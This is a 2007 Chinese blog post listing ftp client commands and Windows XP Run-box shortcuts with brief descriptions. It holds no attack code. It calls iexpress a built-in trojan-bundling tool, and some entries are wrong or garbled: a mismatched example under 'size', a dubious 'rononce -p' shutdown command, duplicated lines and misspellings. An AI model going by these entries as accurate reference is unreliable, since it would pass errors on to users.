3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。

7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。

9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote-dir:进入远程主机目录。

11.cdup:进入远程主机目录的父目录。
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

15.delete remote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
18.disconnection:同close。

19.form. format:将文件传输方式设置为format,缺省为file方式。
20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。

23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。

27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。

31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中建一目录。

33.mls remote-file local-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

35.modtime file-name:显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输至远程主机。

37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。

43.prompt:设置多个文件传输时的交互提示。
44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
46.pwd:显示远程主机的当前工作目录。

47.quit:同bye,退出ftp会话。
48.quote arg1,arg2…:将参数逐字发至远程ftp服务器,如:quote syst.

49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

51.rhelp[cmd-name]:请求获得远程主机的帮助。
52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

53.rename[from][to]:更改远程主机文件名。
54.reset:清除回答队列。

55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
56.rmdir dir-name:删除远程主机目录。

57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
58.send local-file[remote-file]:同put。

59.sendport:设置PORT命令的使用。
60.site arg1,arg2…:将参数作为SITE命令逐字发送至远程ftp主机。

61.size file-name:显示远程主机文件大小,如:site idle 7200。
62.status:显示当前ftp状态。

63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

65.system:显示远程主机的操作系统类型。
66.tenex:将文件传输类型设置为TENEX机的所需的类型。

67.tick:设置传输时的字节计数器。
68.trace:设置包跟踪。

69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

73.?[cmd]:同help.

#11 十一:

7:计算机运行命令全集 winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构
wupdmgr——–windows更新程序
winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构
wupdmgr——–windows更新程序
wscript——–windows脚本宿主设置
write———-写字板winmsd—–系统信息
wiaacmgr——-扫描仪和照相机向导
winchat——–XP自带局域网聊天
mem.exe——–显示内存使用情况
Msconfig.exe—系统配置实用程序
mplayer2——-简易widnows media player
mspaint——–画图板
mstsc———-远程桌面连接
mplayer2——-媒体播放机
magnify——–放大镜实用程序
mmc————打开控制台
mobsync——–同步命令
dxdiag———检查DirectX信息
drwtsn32—— 系统医生
devmgmt.msc— 设备管理器
dfrg.msc——-磁盘碎片整理程序
diskmgmt.msc—磁盘管理实用程序
dcomcnfg——-打开系统组件服务
ddeshare——-打开DDE共享设置
dvdplay——–DVD播放器
net stop messenger—–停止信使服务
net start messenger—-开始信使服务
notepad——–打开记事
nslookup——-网络管理的工具向导
ntbackup——-系统备份和还原
narrator——-屏幕”讲述人”
ntmsmgr.msc—-移动存储管理器
ntmsoprq.msc—移动存储管理员操作请求
netstat -an—-(TC)命令检查接口
syncapp——–创建一个公文包
sysedit——–系统配置编辑器
sigverif——-文件签名验证程序
sndrec32——-录音机
shrpubw——–创建共享文件夹
secpol.msc—–本地安全策略
syskey———系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc—本地服务设置
Sndvol32——-音量控制程序
sfc.exe——–系统文件检查器
sfc /scannow—windows文件保护
tsshutdn——-60秒倒计时关机命令
tourstart——xp简介(安装完成后出现的漫游xp程序)
taskmgr——–任务管理器
eventvwr——-事件查看器
eudcedit——-造字程序
explorer——-打开资源管理器
packager——-对象包装程序
perfmon.msc—-计算机性能监测程序
progman——–程序管理器
regedit.exe—-注册表
rsop.msc——-组策略结果集
regedt32——-注册表编辑器
rononce -p —-15秒关机
regsvr32 /u *.dll—-停止dll文件运行
regsvr32 /u zipfldr.dll——取消ZIP支持
cmd.exe——–CMD命令提示符
chkdsk.exe—–Chkdsk磁盘检查
certmgr.msc—-证书管理实用程序
calc———–启动计算器
charmap——–启动字符映射表
cliconfg——-SQL SERVER 客户端网络实用程序
Clipbrd——–剪贴板查看器
conf———–启动netmeeting
compmgmt.msc—计算机管理
cleanmgr——-**整理
ciadv.msc——索引服务程序
osk————打开屏幕键盘
odbcad32——-ODBC数据源管理器
oobe/msoobe /a—-检查XP是否激活
lusrmgr.msc—-本机用户和组
logoff———注销命令
iexpress——-木马捆绑工具,系统自带
Nslookup——-IP地址侦测器
fsmgmt.msc—–共享文件夹管理器
utilman——–辅助工具管理器
gpedit.msc—–组策略

Written by khee

October 17, 2007 at 2:57 am

Posted in Computer